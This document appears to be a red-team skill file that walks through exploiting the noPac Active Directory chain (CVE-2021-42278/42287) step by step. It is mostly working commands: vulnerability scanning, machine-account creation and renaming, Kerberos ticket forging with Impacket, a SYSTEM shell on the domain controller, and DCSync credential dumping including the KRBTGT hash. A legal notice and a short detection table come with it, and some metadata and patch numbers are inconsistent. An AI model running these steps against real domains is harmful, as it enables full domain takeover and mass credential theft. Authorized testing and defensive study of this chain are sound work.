---
name: exploiting-nopac-cve-2021-42278-42287
description: Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278
  sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and
  secretsdump.py to escalate from a standard domain user to Domain Admin. Use when
  red-teaming or pentesting Active Directory to validate machine-account impersonation
  and DCSync-based credential dumping.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- nopac
- cve-2021-42278
- cve-2021-42287
- privilege-escalation
- domain-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Platform Monitoring
- Process Code Segment Verification
- Stack Frame Canary Validation
- Segment Address Offset Randomization
- Process Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068
---
# Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Overview

noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.


## When to Use

- When performing authorized security testing that involves exploiting nopac cve 2021 42278 42287
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding

## Prerequisites

- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Objectives

- Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
- Create or leverage a machine account with modified sAMAccountName
- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
- Use the DC ticket to perform DCSync and dump domain credentials
- Achieve Domain Admin access from a standard domain user account
- Document the complete exploitation chain with evidence

## MITRE ATT&CK Mapping

- **T1068** - Exploitation for Privilege Escalation
- **T1136.002** - Create Account: Domain Account
- **T1078.002** - Valid Accounts: Domain Accounts
- **T1558** - Steal or Forge Kerberos Tickets
- **T1003.006** - OS Credential Dumping: DCSync

## Workflow

### Phase 1: Vulnerability Scanning
1. Check if the domain is vulnerable using the noPac scanner:
   ```bash
   # Using cube0x0's noPac scanner
   python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1

   # Using CrackMapExec module
   crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
   ```
2. Verify the MachineAccountQuota (default is 10, allows any user to join computers):
   ```bash
   # Check MachineAccountQuota via LDAP
   python3 -c "
   import ldap3
   server = ldap3.Server('10.10.10.1')
   conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
   conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
   print(conn.entries[0]['ms-DS-MachineAccountQuota'])
   "
   ```

### Phase 2: Exploitation with noPac Tool
1. Run the full noPac exploit chain:
   ```bash
   # Using cube0x0's noPac (gets a shell on the DC)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap

   # Using Ridter's noPac (alternative implementation)
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     --impersonate administrator -dump
   ```
2. The exploit automatically:
   - Creates a new machine account (or uses an existing one)
   - Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
   - Requests a TGT for the spoofed account name
   - Restores the original sAMAccountName
   - Uses S4U2self to obtain a service ticket impersonating the target user
   - The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)

### Phase 3: Post-Exploitation
1. With the obtained Domain Controller ticket, perform DCSync:
   ```bash
   # DCSync using secretsdump.py with the Kerberos ticket
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local

   # Or directly through the noPac shell
   # The shell runs as SYSTEM on the DC
   ```
2. Alternatively, obtain a semi-interactive shell:
   ```bash
   python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
     -dc-host DC01 -shell --impersonate administrator -use-ldap
   ```

### Phase 4: Manual Exploitation Steps
1. Create a machine account:
   ```bash
   addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
2. Clear the SPN and rename sAMAccountName:
   ```bash
   # Rename machine account sAMAccountName to DC name (without $)
   renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
3. Request a TGT for the spoofed name:
   ```bash
   getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
   ```
4. Restore the original machine name:
   ```bash
   renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
     -dc-ip 10.10.10.1 domain.local/user:'Password123'
   ```
5. Use S4U2self for impersonation:
   ```bash
   export KRB5CCNAME=DC01.ccache
   getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
     -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
   ```

## Tools and Resources

| Tool | Purpose | Platform |
|------|---------|----------|
| noPac (cube0x0) | Automated scanner and exploiter | Python |
| noPac (Ridter) | Alternative exploit implementation | Python |
| Impacket | Kerberos ticket manipulation, DCSync | Python |
| CrackMapExec | Vulnerability scanning module | Python |
| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |
| secretsdump.py | Post-exploitation credential dumping | Python |

## CVE Details

| CVE | Description | CVSS | Patch |
|-----|-------------|------|-------|
| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC confusion / privilege escalation | 7.5 | KB5008380 |

## Detection Signatures

| Indicator | Detection Method |
|-----------|-----------------|
| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |
| New machine account creation | Event 4741 (computer object created) |
| TGT request for account without trailing $ | Kerberos audit log analysis |
| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |
| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |

## Validation Criteria

- [ ] Domain scanned for noPac vulnerability
- [ ] MachineAccountQuota verified (default 10)
- [ ] Exploit executed successfully (shell or DCSync)
- [ ] Domain Admin privileges obtained from standard user
- [ ] DCSync performed to dump domain credentials
- [ ] KRBTGT hash obtained for persistence validation
- [ ] Attack chain documented with timestamps
- [ ] Patch status verified (KB5008380, KB5008602)
